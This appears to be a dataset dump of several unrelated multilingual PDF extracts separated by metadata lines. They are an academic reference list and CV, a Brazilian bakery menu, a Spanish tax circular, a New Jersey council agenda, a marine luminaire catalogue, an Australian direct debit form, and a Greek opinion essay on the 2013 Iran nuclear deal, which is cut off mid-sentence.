multilingual writer and machine translation software. In J. Choi & S. Ollerhead (Eds.). *Plurilingualism in teaching and learning: Complexities across contexts* (pp.89-106). Taylor & Francis Ltd. Walters, S. (2011). Masking, mediators, and agency: bilingual children and learning to read. *Journal of Research in Reading*, 34(4), 384-401. Wanono, N.G. (2014). From the grain to the pixel, aesthetic and political choices. In Schneider, A. and Pasqualino, C. (Eds). *Experimental film and anthropology* (1st ed., pp.183-197). Bloomsbury. Wargo, J.M. (2015). Spatial stories with nomadic narrators: Affect, snapchat, and feeling embodiment in youth mobile composing. *Journal of Language and Literacy Education*, 11(1), p. 47-64. Wargo, J. M. (2017). Rhythmic rituals and emergent listening: Intra-activity, sonic sounds and digital composing with young children. *Journal of Early Childhood Literacy, 17*(3), 392-408. Wargo, J.M (2018). Writing with wearables? Young children’s intra-active authoring and the sounds of emplaced invention. *Journal of Literacy Research, 50*(4), pp.503-523. Wargo, J.M. (2019). Lives, lines, and spacetime mattering: An Intra-active analysis of a ‘once okay’ adult writer. In Kuby, C.R., Spector, K., & Thiel, J.J. (Eds.) *Posthumanism and literacy education: Knowing/becoming/doing literacies* (1st ed., pp.130-141). Routledge. Wee, L. (2016). Situating affect in linguistic landscapes. *Linguistic Landscape, 2*, 105–126. Willett, J. (1995). Becoming first graders in an L2: An ethnographic study of L2 socialization. *TESOL Quarterly, 29*(3), 473-503. Wohlwend (2009). Early adopters: Playing new literacies and presenting new technologies in print-centric classrooms. *Journal of Early Childhood Literacy, 9*(2), 117-40. Wohlwend, K. E. (2017). Chasing literacies across action texts and augmented realities: E-books, Animated Apps, and Pokémon Go. In Burnett, C., Merchant, G., Simpson, A., & Walsh, M. (Eds.). *The Case of the iPad: Mobile Literacies in Education* (1st ed., pp.49-66). Springer. Wright, W. (2015). *Foundations for teaching English language learners: Research, theory, policy, and practice*. Caslon Publishing. Yoon, B. (2008). Uninvited guests: The influence of teachers’ roles and pedagogies on the positioning of English language learners in the regular classroom. *American Educational Research Journal, 45*(2), 495-522. Zapata, A., Kuby, C. R., & Thiel, J.J. (2018). Encounters with writing: becoming with posthumanist ethics. *Journal of Literacy Research, 50*(4), 478-500. Zapata, A. & Van Horn, S. (2017). “Because I’m smooth”: Material intra-actions and text productions among young Latino picture book makers. *Research in the Teaching of English, 51*, 290-316. Frances Nebus Bose 256 Chambers Building University Park, PA 16802 firstname.lastname@example.org Education The Pennsylvania State University Ph.D., Curriculum & Instruction — 2020 Boston College, Lynch School of Education, M.Ed., Educational Leadership — 2011 Boston College, Lynch School of Education, M.Ed., Elementary Education — 2009 University of South Carolina, B.A., Government & International Studies — 2003 Teaching and Research Graduate Assistant Lecturer, The Pennsylvania State University — 2016- present Graduate Research Assistant, The Pennsylvania State University — 2014-2016 Lecturer, The Pennsylvania State University, Intensive English Program — 2013-2015 K-5 English Language Learner Teacher, Lexington Public Schools, MA — 2009-2013 English as a Second Language (ESL) Teacher, YMCA of Greater Boston — 2004 ESL Teacher, Early Learning School, Pavia, Italy — 2002-2003 ESL Teacher, L’Associazione Culturale Linguistica Educational, Italy — 2000-2002 Awards and scholarships Dean’s Graduate Assistantship’s for Engaged Scholarship & Research in Education, The Pennsylvania State University — 2015-2020 New England Association for Employment in Education, Outstanding Educator Award— 2009 Grants Education Consortium grant, Boston University School Education — 2012 Lexington Public School Grant, multicultural literature for Guided Reading Groups — 2012 Lexington Education Foundation Grant, multilingual books for school library — 2011 Lexington Public Schools Parent Teacher Organization Grant — 2011, 2012 Publications Blair, A., Haneda, M., Bose, F. (2018). Re-Imagining English-Medium Instructional Settings as Sites of Multilingual and Multimodal Meaning-Making. TESOL Quarterly, 52 (3), 516-539. Sherman, B., Haneda, M., Bose, F., Teemant, A. (2019). Ways of Interacting: What Underlies Instructional Coaches’ Discursive Actions. Teaching and Teacher Education, 78, 165-173.
06d4c426-565f-4859-ab10-a14e3f818221
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
583,063
Confeitaria Artística & Artesanal PRODUTOS CASEIROS CENOURA COM BRIGADEIRO Nosso campeão de vendas! Massa bem fofinha de cenoura com uma cobertura deliciosa e única de brigadeiro. Tamanho Grande Peso aproximado de 1000g (forma pudim) R$36 Tamanho Médio Peso aproximado de 750g (forma redonda baixa de 18cm) CASADINHO Nossa deliciosa massa de cacau, com cobertura metade de brigadeiro, metade de branquinho. Tamanho Grande Peso aproximado de 1000g (forma pudim) R$37 CHOCOLATE Massa de cacau, com cobertura de brigadeiro cremoso. Um clássico!!!! Tamanho Médio Peso aproximado de 750g (forma redonda baixa de 18cm) NINHO Massa de cacau, com cobertura de Branquinho com leite Ninho. Tamanho Grande Peso aproximado de 1000g (forma pudim) R$36 *COM NUTELLA Tamanho Grande Peso aproximado de 1100g (forma pudim) R$50 NINHO e NUTELLA Tamanho Médio Peso aproximado de 800g (forma redonda baixa de 18cm) LIMÃO COM MIRTILOS Massa fofinha com um toque suave de limão e mirtilos. Cobertura de glacê. Tamanho Grande Peso aproximado de 750g (forma pudim) R$25 LARANJA Clássico bolo de laranja umidificado com suco. Tamanho Grande Peso aproximado de 750g (forma pudim) MILHO COM LEITE CONDENSADO Não tem igual!!! Bolo crocante e molhadinho na medida certa. Finalizado com chocolate branco. Formato retangular de 22x12cm. Peso aproximado de 700g R$22 EMBRIAGADO Bolo de baunilha com leite condensado, leite de coco e cobertura de coco ralado. Marmita retangular de 21x16cm. Peso aproximado de 700g. Brownies BROWNIES ***Brownies 6x6cm com pedaços de chocolate (Laka, Laka Óreo, Alpino, Stikadinho) R$7 BROWNIE DE COLHER Para comer de colher. Brownie + brigadeiro cremoso + branquinho cremoso! Peso aprox. 175g R$10 MARMITA DE BROWNIE Brownie + brigadeiro cremoso. Obs.: pode ir ao microondas sem a tampa de papel! Peso aprox. 200g Kits presente KIT 3 BROWNIES Caixinha presente contendo 3 brownies. R$25 CAIXA DA FELICIDADE Caixinha presente contendo uma marmita, um cookies, um brownie e uma palha italiana. R$40 CAIXA PRESENTE MÉDIA Caixa presente contendo: (1) bolo de cenoura médio; (1) cookies; (1) brownie; (1) marmita de brownie e brigadeiro; (1) palha italiana R$75 CAIXA PRESENTE GRANDE Caixa presente contendo: (1) bolo de cenoura grande; (2) cookies; (2) brownie; (1) marmita de brownie e brigadeiro; (2) palha italiana R$110 Outros doces PALHA ITALIANA Tradicional doce de brigadeiro cremoso com biscoito de amido! Envolto em leite em pó. R$7 COOKIES Deliciosos cookies de baunilha com pedaços de chocolate preto. Cobertos com gotas de chocolate. Peso aproximado de 80g. R$6,5 Outros doces CAIXA BRIGADEIROS Deliciosa caixa de brigadeiros sortidos com 12 unidades (brigadeiros, churros e Ninho com Nutella) R$36 CUPCAKES ESPECIAIS Consultar sabores da semana e disponibilidade! Unitário R$12 Acima de 2 unidades R$10 Acima de 12 unidades R$9,5 Made with love Consulte disponibilidade dos produtos do dia! REDES SOCIAIS www.facebook.com/missescakes Instagram/misses_cakes CONTATOS firstname.lastname@example.org (51)99458.1991 (51)3085.5740 ENDEREÇO Av. Nova York, 512 - Porto Alegre
6a1c86e8-d31c-4107-a6eb-c0da8a7be287
HuggingFaceFW/finepdfs/tree/main/data/por_Latn/train
finepdfs
por_Latn
3,135
Membre d'associació professional de tècnics tributaris de Catalunya i Balears C/ Alt de Sant Salvador, 14 entresol 43201 R E U S web:www.masdeuasesoria.com TEL: 918.104.22.168 FAX: 922.214.171.124 e-mail: firstname.lastname@example.org; whatsapp 673854075 N/ referència S/referència Data CIRCULAR IMPOSTOS 2t 1 de Julio de 2020 ASUNTO. Apreciado/a cliente: Nos encontramos dentro del período de liquidación de diversos impuestos correspondientes al 2º trimestre por lo que puede tener que tributar: ANTES DEL DÍA 17 DEBE DE PREPARARSE: - (110) Retenciones de nóminas, profesionales y agricultores. - (115) Retenciones de alquileres. (Si no hacemos la contabilidad, necesitamos copias de los recibos de alquiler de abril, mayo y junio) - (123) Retenciones sobre los dividendos, ingresos de interés y las inversiones. - (130) Pago a cuenta de la declaración de la renta. - (303) Liquidación trimestral de IVA. - (349) Declaración de operaciones con países de la Unión Europea. - (200) Impuesto de sociedades correspondiente a 2019 y depósito de las cuentas anuales ante el Registro Mercantil (solo para Sl; S.A.; S.A.T.; Cooperativas, Sucursales) Información contenida en el cuadro final Estamos a su disposición para resolver este trámite. XAVIER MASDEU Asesor fiscal y tributario técnico Nº 1102 El horario de apertura de la oficina del 20 de julio al 13 de septiembre será de 8:00 a 14:00. NOTA IMPORTANTE PARA CLIENTES DE CONTABILIDAD: Les recordamos que el 10 de julio será el último día que nos haga llegar la parte principal de las facturas de contabilidad, si queda alguna pendiente esta va a ser introducida en el último momento, pero para hacernos responsables de un trabajo correcto, necesitamos el grueso principal de documentos estén nuestra oficina con la suficiente antelación. RECUERDE QUE HAY FACTURAS QUE NO SE RECIBEN POR CORREO ORDINARIO Y QUE NECESITAMOS TAMBIÉN NOS REMITAN (TELÉFONO, LUZ, etc…) NOTA ESPECIAL PARA LAS EMPRESAS: (ANÓNIMAS, LIMITADAS EMPRESAS, COOPERATIVAS, SUCURSALES ) Las empresas tienen el mes de julio, una serie de importantes obligaciones con la administración por lo que creímos necesario detallarlos. ANTES DEL 24 DE JULIO DEBE DE PRESENTARSE: - (200) IMPUESTO DE SOCIEDADES correspondiente al año 2019. Es similar a la declaración de la renta, pero para las sociedades. ANTES DEL 28 DE JULIO DEBE DE PRESENTARSE: - Las cuentas anuales de las empresas ante el registro mercantil donde quedará depositado. Nos pondremos en contacto con ustedes en los próximos días para firmar dichas cuentas anuales. Dada la importancia de estos procedimientos, les agradeceríamos se pusiese en contacto con nosotros tan pronto como sea posible. Le informamos que tratamos sus datos personales con la finalidad de realizar la gestión administrativa, contable, fiscal y laboral, así como enviarle las comunicaciones comerciales de nuestros productos y/o servicios. Les datos proporcionados se conservaran mientras dure la relación comercial y durante los años necesarios para cumplir con las obligaciones legales. Los datos no se cederán a terceros salvo que exista una obligación legal. Así mismo les informamos de la posibilidad de ejercer los siguientes derechos sobre sus datos personales: Derecho de acceso, rectificación, supresión y olvido, limitación y oposición, portabilidad y retirar el consentimiento prestado. Para ello podrá enviar un mail a: email@example.com. Si usted no desea recibir nuestra información póngase en contacto enviando un correo a la siguiente dirección: firstname.lastname@example.org.
<urn:uuid:26cbfc6d-22d5-48be-a4bd-3fbef90d2113>
HuggingFaceFW/finepdfs/tree/main/data/spa_Latn/train
finepdfs
spa_Latn
3,733
AGENDA BOROUGH OF FOLSOM COUNCIL MEETING(Revised) April 11, 2017 MEETING CALLED TO ORDER: SALUTE TO THE FLAG led by Mayor Lou DeStefano OPENING STATEMENT: Adequate notice of this meeting has been given in accordance with the directives of the "Open Public Meetings Act", pursuant to Public Law 1975, Chapter 231. Said notice of this meeting has been advertised in the Hammonton Gazette and has been posted on the Borough Hall bulletin board showing the time and place of said meeting. ROLL CALL: Councilpersons Smith, Jantz, Pagano, Arena, Hoffman and Schenker Also present: Mayor Lou DeStefano, Attorney Brian Lozuke and Engineer Gary Auer APPROVAL OF THE WORKSHOP MINUTES from March 22, 2017 APPROVAL OF THE MINUTES from March 22, 2017 APPROVAL OF THE EXECUTIVE SESSION MINUTES from March 22, 2017 APPROVAL OF THE SPECIAL MEETING MINUTES from March 28, 2017 APPROVAL OF THE 2017 CDBG FUNDING PROJECT MEETING OPEN TO PUBLIC: CLERKS CORRESPONDENCE: Easter Egg Hunt for Folsom Students ( Grades K-2 nd ) will be held on April 12, 2017 at 11:00 am at Borough Hall. Borough Hall offices will be closed on Friday, April 14, 2017 in observance of Good Friday. Safety Incentive Program Letter from JIF ORDINANCES: RESOLUTIONS: 2017-56 A RESOLUTION TO ANNOUNCE THE RETIREMENT OF ELECTRICAL INSPECTOR JEROME VOLPE 2017-57 RESOLUTION EXCLUDING PUBLIC PARTICIPATION WITHIN A PORTION OF A MEETING OF THE BOROUGH COUNCIL 2017-58 A PERSON-TO-PERSON & PLACE-TO-PLACE TRANSFER OF PLENARY RETAIL DISTRIBUTION LICENSE 0110-44-005-003 (Bell Liquors, Inc.) SOLICITOR'S REPORT: FIRE CHIEF'S REPORT: ENGINEER'S REPORT: MAYOR'S REPORT: COUNCIL MEMBER'S REPORTS: MEETING OPEN PUBLIC: PAYMENT OF BILLS IN THE AMOUNT OF: $207,690.38 Please visit the Borough of Folsom website at www.folsomborough.com and the Folsom Facebook page for updated Borough information. The next regular meeting of Mayor and Council will be held on Tuesday , May 9, 2017 starting with an workshop meeting at 6:00 pm and continuing with the regular meeting in Borough Hall, 1700 12 th Street, Folsom, NJ. ADJOURNMENT The items listed on this tentative Council Agenda are subject to change any time after printing or during the Council Meeting. Since this Council Agenda is tentative, items may be added and/or deleted prior to the commencement of the meeting. Formal action may or may not be taken regarding each item listed on the final Agenda or those matters added and discussed by the Mayor and Borough Council. Please contact the Borough Hall or visit our website to obtain updates at www folsomborough.com.
<urn:uuid:3c8d1722-73cc-4446-b9e6-c70be607150c>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
2,598
TL 40 Watertight Luminaire, surface 1x18W / 2x18W / 2x24W / 1x36W / 2x36W / 2x54W Applications: multipurpose luminaire for engine rooms, stores, etc. Lamp base: G 13/G 5 Approvals: according to the rules of relevant classification societies, additional VDE and IEC Lamps (not included): fluorescent lamp 18W / 36W - T8, 24W / 54W - T5 Electric: 230V, 50Hz or 60Hz, flexible wiring, heat resistant up to +105°C, other voltages on request Mounting: 2 mounting holes, Ø 9 mm Protection class: IP67 Housing: polycarbonate, clear Diffuser: safety glass Cable entry: max 4 cable glands, to be ordered separately Options: * stainless steel housing * opal diffuser * electronic ballast * outside junction box * emergency battery backup * a choice of different mounting sets are available * UL- Approval 5105 0005 5105 0001 5105 0006 5105 0002 5105 0045 5105 0044 TL 45 Watertight Luminaire, surface 2x18W / 2x 36W Cable entry: 2 plastic cable glands, cable max Ø 12 mm Mounting: 2 mounting holes, Ø 6 mm Applications: workshops, enginerooms, stores, etc. Protection class: IP67 Approvals: according to the rules of relevant classification societies, additional VDE and IEC Housing: polyester, reinforced Diffuser: polycarbonate, prismatic clear Lamp base: G 13 Lamps (not included): fluorescent lamp 18W / 36W Electric: 230V, 50Hz or 60Hz, flexible wiring, heat resistant up to +105°C, other voltages on request Options: * electronic ballast * mounting with pre-installed screws 5105 0057 5105 0058 1x18W / 1x24W / 1x36W TL 53 Pressure Watertight Luminaire Applications: decks Cable entry: 2 plastic cable glands, cable max Ø 12 mm Mounting: 2 fixing clamps, stainless steel (not included) Approvals: according to the rules of relevant classification societies, additional VDE and IEC Housing: clear polycarbonate tube End caps: polycarbonate Lamp base: G 5, G 13 or 2 G11 Lamps (not included): fluorescent lamp or tubular compact lamp 18W / 24W / 36W Protection class: IP68 20m Electric: flexible wiring, heat resistant up to 105°C 5105 0008 02 -006 5105 0007 02 -005 5105 0042 02 -001 5105 0041 02 -001 KL 61 Kitchen Luminaire, surface 2x18W / 2x36W Approvals: according to the regulations USPH (U.S. Public Health) and the rules of relevant classification societies, additional VDE and IEC Diffuser: polycarbonate, clear Applications: galleys, kitchen, pantries, provision rooms Protection class: IP55 Electric: flexible wiring, heat resistant up to 105°C Cable entry: 2 plastic cable glands, cable max Ø 12 mm Mounting: 6 / 8 mounting holes, Ø 5 mm Base plate: stainless steel Gasket: silicone rubber Lamp base: G 13 Lamps (not included): fluorescent lamp 18W / 36W Options: * electronic ballast 5106 0001 5106 0002 5106 0001-003 5106 0002-003 KL 62 Kitchen Luminaire, recessed Part-no. 101526 2x18W Applications: coldroom, refrigerated areas, freezing rooms Weight : 4.8kg Protection class: IP55 Approvals: according to the regulations USPH (U.S. Public Health) and the rules of relevant classification societies, additional VDE and IEC Base plate: stainless steel Diffuser: polycarbonate, clear Gasket: silicone rubber Lamp base: G 13 Mounting: 6 mounting holes, Ø 5 mm. Cut out 675 x 105 mm Lamps (not included): fluorescent lamp 18W Electric: Electronic ballast, 230V, 50/60Hz, flexible wiring, heat resistant up to +105°C Cable entry: 2 plastic cable glands, cable max Ø 12 mm KR 61 Coldroom Luminaire, surface Part-no. 101537 (230V/ 50Hz/l.p.f.) Part-no. 101548 (230V/ 50Hz/l.p.f.) 2x40W Applications: coldroom, refrigerated areas, freezing rooms Protection class: IP55 Lamp base: G 13 Lamps (not included): crompton fluorescent lamp, 40W, 590 mm Electric: flexible wiring, heat resistant up to +105°C Cable entry: 2 plastic cable glands, cable max Ø 12 mm Mounting: 6 mounting holes, Ø 5 mm Weight : 3.8kg Approvals: according to the regulations USPH (U.S. Public Health) and the rules of relevant classification societies, additional VDE and IEC Ambient temp.: -25°C to +30°C Diffuser: polycarbonate, clear Gasket: silicone rubber CEE Inc. 1081 NW 31st Avenue, Unit A4-Pompano Beach,FL 33069 T +1 (954) 603-8813 F +1 (954) 633-7868 www.go2cee.com 5106 0005 5107 0003 5107 0003-001 KR 40 Coldroom Luminaire, surface Part-no. 101559 2x40W Cable entry: max 4 cable glands, to be ordered separately Applications: coldroom, refrigerated areas, freezing rooms Protection class: IP67 Ambient temp.: -25°C to +30°C Diffuser: polycarbonate, clear Gasket: silicone rubber Lamp base: G 13 Lamps (not included): crompton fluorescent lamp, 40W, 590 mm Electric: electronic ballast 230V, 50/60Hz, flexible wiring, heat resistant up to +105°C Mounting: 2 mounting holes, Ø 9 mm Weight : 4.7kg Approvals: according to the rules of relevant classification societies, additional VDE and IEC Options: * stainless steel housing * opal diffuser * outside junction box * a choice of different mounting sets are available TL 53 LED Pressure Watertight Luminaire Part-no. 101570 1x18W Electric: 115-230V, 50 / 60Hz flexible wiring, heat resistant up to 105°C Cable entry: 2 plastic cable glands, cable max. Ø 12 mm Mounting: 2 fixing clamps, stainless steel (not included) Protection class: IP68 20m Approvals: according to the rules of relevant classification societies, additional VDE and IEC Housing: clear polycarbonate tube End caps: polycarbonate Lamps (included): High Power LED Applications: decks Weight : 2.5kg 5107 0005 5105 0085 TL 40z LED Watertight Luminaire, surface Part-no. 101581 5105 0078 2x18W Housing: zinc coated stseel, seamless deep drawn, powder coated white Applications: multipurpose, luminaire for engine rooms, stores, etc. Protection class: IP67 Approvals: according to the rules of relevant classification societies, additional VDE and IEC Diffuser: polycarbonate, clear Lamps (included): High Power LED Electric: 115-230V, 50 / 60Hz flexible wiring, heat resistant up to 105°C Cable entry: max 4 cable glands, to be ordered separately Mounting: 2 mounting holes, Ø 9 mm Options: * stainless steel housing * opal diffuser * outside junction box * emergency battery backup * a choice of different mounting sets are available KR 61 LED Coldroom Luminaire, surface Part-no. 101592 2x18W Applications: coldroom, refrigerated areas, freezing rooms Electric: 115-230V, 50 / 60Hz flexible wiring, heat resistant up to +105°C Cable entry: 2 plastic cable glands, cable max Ø 12 mm Lamps (included): 2x18W High Power LED Protection class: IP55 Approvals: according to the regulations USPH (U.S. Public Health) and the rules of relevant classification societies, additional VDE and IEC Mounting: 6 mounting holes, Ø 5 mm Groundplate: stainless steel Diffuser: polycarbonate, clear Gasket: silicone rubber Ambient temp.: -30°C to +30°C 5107 0007 SL 97 Outside Wall Light, Balcony Part-no. 101603 1x18W Protection class: IP67 Lamps (not included): tubular compact fluorescent lamp 18W Electric: 230V, 50Hz or 60Hz, flexible wiring, heat resistant up to +105°C Mounting: 4 mounting holes, 9 x 14 mm Weight: 1.5 kg Cable entry: 2 cable entries Dimensions: Ø 250 mm, height 122 mm Housing: stainless steel powder coated white Diffuser: polycarbonate, opal Lamp base: G 24 d-2 Approvals: according to the rules of relevant classification societies, additional VDE and IEC Options: * other voltages and wattage on request * electronic ballast 5127
<urn:uuid:fa6147ff-c87f-4648-984c-33f7c876d5fd>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
7,534
Direct Debit Request Request and Authority to debit the account named below to pay Hindmarsh Shire Council Request and Authority to debit Your Surname or company name______________________________ Your Given names or ABN/ARBN__________________________" you" request and authorise, Hindmarsh Shire Council User ID 509784, to arrange, through its own financial institution, a debit to your nominated account any amount Hindmarsh Shire Council, has deemed payable by you. This debit or charge will be made through the Bulk Electronic Clearing System (BECS) from your account held at the financial institution you have nominated below and will be subject to the terms and conditions of the Direct Debit Request Service Agreement. Insert the name and address of financial institution at which account is held Financial institution name ________________________________________ Address _______________________________________________________ _______________________________________________________ Insert details of account to be debited Name/s on account _____________________________________________ BSB number (Must be 6 Digits) |___|___|___| - |___|___|___| Account number |___|___|___|___|___|___|___|___|___| Frequency weekly/fortnightly/monthly/per instalment/one occurrence only Date to Commence _________________________ Do you agree to a) set amount per frequency $___________ OR b) pay amount in full. OR c) other please specify ________________________ ________________________________________________________________ ________________________________________________________________ ________________________________________________________________ Acknowledgment By signing and/or providing us with a valid instruction in respect to your Direct Debit Request, you have understood and agreed to the terms and conditions governing the debit arrangements between you and Hindmarsh Shire Council as set out in this Request and in your Direct Debit Request Service Agreement. Insert your signature and address Signature _______________________________________________________ (If signing for a company, sign and print full name and capacity for signing eg. director) Address _______________________________________________________ _______________________________________________________ Phone _______________________________________________________ Date ___ / ___ / ___Assessment Number______________________ Second account signatory (if required) Signature_______________________________________________________ (If signing for a company, sign and print full name and capacity for signing eg. director) Address _______________________________________________________ _______________________________________________________ Phone _______________________________________________________ Date ___ / ___ / ___
<urn:uuid:9d509ed7-fcab-467c-b6a4-383eac8f4663>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
2,860
www.cemmis.edu.gr ΠανεπιστήμιοΠελοποννήσου 31 Δεκεμβρίου 2013 ΓΝΩΜΗ Η Ιρανική Πυρηνική Συμφωνία (Διαστάσεις και Συνέπειες) Άρεφ Αλομπέιντ * Ο παράγοντας της ενέργειας αναγκάζει αρκετές χώρες να προσφύγουν στην πυρηνική ενέργεια για να καλύπτουν τις μακροπρόθεσμες εθνικές τους ανάγκες. Στην συγκεκριμένη περίπτωση οι δυτικές χώρες στήριξαν τις πυρηνικές φιλοδοξίες του Ιράν από την εποχή του φιλοδυτικού Σάχη Μουχάμεντ Ρίζα Παχλαβί το 1957. Όμως, η αλλαγή του πολιτεύματος το 1979 με την εγκατάσταση της ισλαμικής – θεοκρατικής εξουσίας του Αγιατολάχ Χομεϊνί ανάγκασε τη Δύση να υιοθετήσει αντίθετη πολιτική σχετικά με ιρανικό πυρηνικό πρόγραμμα. Επίσης οι δυτικές κυβερνήσεις στήριξαν το Ιράκ κατά του Ιράν κατά την περίοδο του μεταξύ τους πολέμου (1980-1988). Ένας πόλεμος που κατέστρεψε τις υποδομές των δυο χωρών με εκατομμύρια θύματα. Ο πόλεμος αυτός υποχρέωσε τους Ιρανούς να βάλουν την ανάπτυξη του πυρηνικού προγράμματος σε δεύτερη μοίρα εξαιτίας της έλλειψης πόρων και τεχνογνωσίας. Στη συνέχεια, η εισβολή του Σαντάμ Χουσεΐν στο Κουβέιτ το 1990 και οι επακόλουθες εξελίξεις με την επιβολή του «καταστροφικού εμπάργκο» και την αμερικανική εισβολή στο Αφγανιστάν το 2001 και στο Ιράκ το 2003 έδωσαν την ευκαιρία στη Τεχεράνη να επαναλειτουργήσει αποτελεσματικά το πυρηνικό της πρόγραμμα με ρωσική βοήθεια. Ο εμπλουτισμός του ουρανίου στο επίπεδο των 20% προκάλεσε μεγάλες ανησυχίες στη Δύση γενικά και ειδικά στο Ισραήλ. Αυτή η νέα επιστημονική πρόοδος θα έδινε σε αυτή την ισλαμική χώρα περισσότερες δυνατότητες απόκτησης πυρηνικής βόμβας όπως ισχυρίζονται ισραηλινοί αξιωματούχοι. Έτσι αρκετοί αναλυτές έγραψαν ήδη από το 2005 μέχρι και για πιθανές ημερομηνίες της ισραηλινής επίθεσης κατά των ιρανικών πυρηνικών εγκαταστάσεων, χτύπημα που όμως δεν έγινε ποτέ τουλάχιστον μέχρι στιγμής. Σήμερα η μακροχρόνια αντιπαράθεση μεταξύ Δύσης και ιρανικού καθεστώτος κατέληξε πρόσφατα σε μια ιστορική συμφωνία για τη διευθέτηση του ζητήματος απομακρύνοντας ταυτόχρονα τη στρατιωτική * Διδάκτωρ πολιτικών επιστημών και ιστορίας. Ειδικός σε θέματα Μέσης Ανατολής. λύση. Μετά βεβαίως από μυστικές διαπραγματεύσεις στο Ομάν μεταξύ Ιρανών και Αμερικανών. 1 Διάφοροι παράγοντες έπαιξαν ρόλο στην επίτευξη αυτής της προσωρινής συμφωνίας των έξι μηνών, μέχρι να βρεθεί οριστική λύση εντός δώδεκα μηνών. Οι οικονομικές κυρώσεις που είχαν επιβληθεί στο Ιράν από τη διεθνή κοινότητα, οι επιπτώσεις των κυρώσεων αυτών 2 και οι δυσμενείς οικονομικές συνθήκες που βίωνε η χώρα ανάγκασε τους Ιρανούς να προσπαθήσουν σκληρά για επίτευξη συμφωνίας προκειμένου να αποφύγουν τις καταστρεπτικές συνέπειες των κυρώσεων. Από την άλλη πλευρά, η παγκόσμια οικονομική κρίση που σαρώνει τη Δύση έπαιξε και αυτή το ρόλο της στην αποδοχή της συμφωνίας εκ μέρους των Αμερικανών και των Ευρωπαίων. 3 Επιπλέον, η καχυποψία των Ιρανών σχετικά με τη στάση της Ρωσίας, παρά το γεγονός ότι η Ρωσία προσέφερε την πυρηνική τεχνογνωσία και τεχνολογία στο ιρανικό καθεστώς, συνέβαλε σημαντικά στην αποδοχή της συμφωνίας εκ μέρους των Ιρανών. 4 Η νέα συμφωνία αναγνωρίζει, σύμφωνα με τις δηλώσεις του Ιρανού προέδρου Ροχανί, το εθνικό δικαίωμα του Ιράν στον εμπλουτισμό ουρανίου 5 αλλά σε επίπεδο του 5% και όχι του 20%. 6 Παράλληλα οι δυτικές χώρες θα προχωρήσουν σε μερική άρση των κυρώσεων αξίας 7 δισεκατομμυρίων δολαρίων σε μορφή εμπορικών συναλλαγών. Η Ευρωπαϊκή Ένωση ενδέχετο να άρει κάποιες από αυτές τις κυρώσεις το Δεκέμβριο. 7 Αν και η μερική άρση των κυρώσεων αποτελεί μεγάλη συμβολική κίνηση, το Ιράν επιδιώκει την ολική κατάργηση των κυρώσεων από το Συμβούλιο Ασφαλείας. Η επαναλειτουργία της παραγωγής φυσικού αερίου από το κοίτασμα στη Βόρεια Θάλασσα στο οποίο το Ιράν ελέγχει το 50% των μετοχών, 8 η άμεση πτώση των τιμών πετρελαίου κατά 2$ ανά βαρέλι, 9 η άνοδος της αξίας του ιρανικού νομίσματος, 10 η έγκριση της λειτουργίας του ιρανο-αμερικανικού επιμελητηρίου και αεροπορικής γραμμής μεταξύ ΗΠΑ και Ιράν 11 είναι κάποιες από τις άμεσες συνέπειες της συμφωνίας. Επιπρόσθετα, η συμφωνία θα συνδράμει στην αναζωογόνηση της βιομηχανίας πετρελαίου 12 και κατ' επέκταση της ιρανικής εθνικής οικονομίας. Η επίδραση της υπογραφής της συμφωνίας δεν θα περιοριστεί μόνο στην προσέγγιση του θέματος του πυρηνικού προγράμματος αλλά θα επεκταθεί και σε άλλα θέματα μείζονος σημασίας για το χώρο της Μέσης Ανατολής όπως η συριακή κρίση, το μέλλον της οργάνωσης Χεσμπουλάχ και η ασφάλεια της διαύλου πετρελαιοφόρων στα στενά του Ορμούζ στον Κόλπο. Η νέα προσέγγιση μεταξύ Τεχεράνης και Ουάσιγκτον φαίνεται να επιτρέπει στο Ιράν την επιστροφή στο διεθνές διπλωματικό σκηνικό προκαλώντας ταυτόχρονα ψύχρανση (αλλά όχι ρήξη) στις σχέσεις Σαουδικής Αραβίας και ΗΠΑ. 13 Οι μοναρχίες του Κόλπου έπεσαν έξω στις εκτιμήσεις τους διότι υιοθέτησαν τη στρατηγική της ασφάλειας που σχετίζεται άμεσα με τη στρατιωτική ομπρέλα των Η.Π.Α., με αποτέλεσμα να φανούν ως «παραρτήματα» της αμερικανικής πολιτικής και όχι ως πραγματικοί σύμμαχοι. Επιπρόσθετα, η συμφωνία έκανε σαφή την έλλειψη ανεξάρτητου σχεδίου για την εθνική ασφάλεια των μοναρχιών του Κόλπου. Οι Σαουδάραβες ισχυρίζονται ότι η επιστροφή του Ιράν με μεγαλύτερο ρόλο στην περιοχή θα μπορούσε να είναι πιο επικίνδυνη εξέλιξη από το ίδιο το πυρηνικό πρόγραμμα κυρίως λόγω έλλειψης καλών προθέσεων. 14 Το βασίλειο της Σαουδικής Αραβίας βλέπει ότι τα συμφέροντά του εθίγησαν από την μεγάλη σύμμαχο. Το γεγονός αυτό θα μπορούσε να προκαλέσει επανεξέταση της στρατηγικής της χώρας αυτής κυρίως όσον αφορά τις συμμαχίες με μεγάλες δυνάμεις και τη διαχείριση των σημαντικών ζητημάτων της Μέσης Ανατολής. Η εμπιστοσύνη στην εξωτερική πολιτική του Προέδρου Ομπάμα φαίνεται να έχει κλονιστεί. Η σημαντική αυτή συμφωνία επιτρέπει σε ένα θεοκρατικό ισλαμικό καθεστώς να υιο- www.cem mi s .edu.gr θετεί ειρηνικό πυρηνικό πρόγραμμα κάτι που θα έπρεπε να ήταν απαγορευμένο σύμφωνα την εθνική στρατηγική των Ισραηλινών. Δεν επιτρέπει την ολική καταστροφή του προγράμματος ούτε και την παράδοση των εμπλουτισμένου ουρανίου όπως επιδίωκαν οι Ισραηλινοί. Εδώ υπάρχει μια σοβαρή διαφωνία μεταξύ του Ισραήλ και των Η.Π.Α. στο τρόπο αντιμετώπισης του ζητήματος. 15 Οι Η.Π.Α. επιδίωκαν την μη κατασκευή πυρηνικού όπλου από το Ιράν ώστε να μη χρειαστεί στρατιωτική επέμβαση. Αν και το πυρηνικό Ισραήλ χαρακτήρισε τη συμφωνία ιστορικό λάθος 16 και επιβεβαίωσε την αποδέσμευσή του από το περιεχόμενο της, 17 το οποίο, σύμφωνα με τον Ισραηλινό πρωθυπουργό θα μπορούσε να οδηγήσει σε πόλεμο, 18 η θέση του 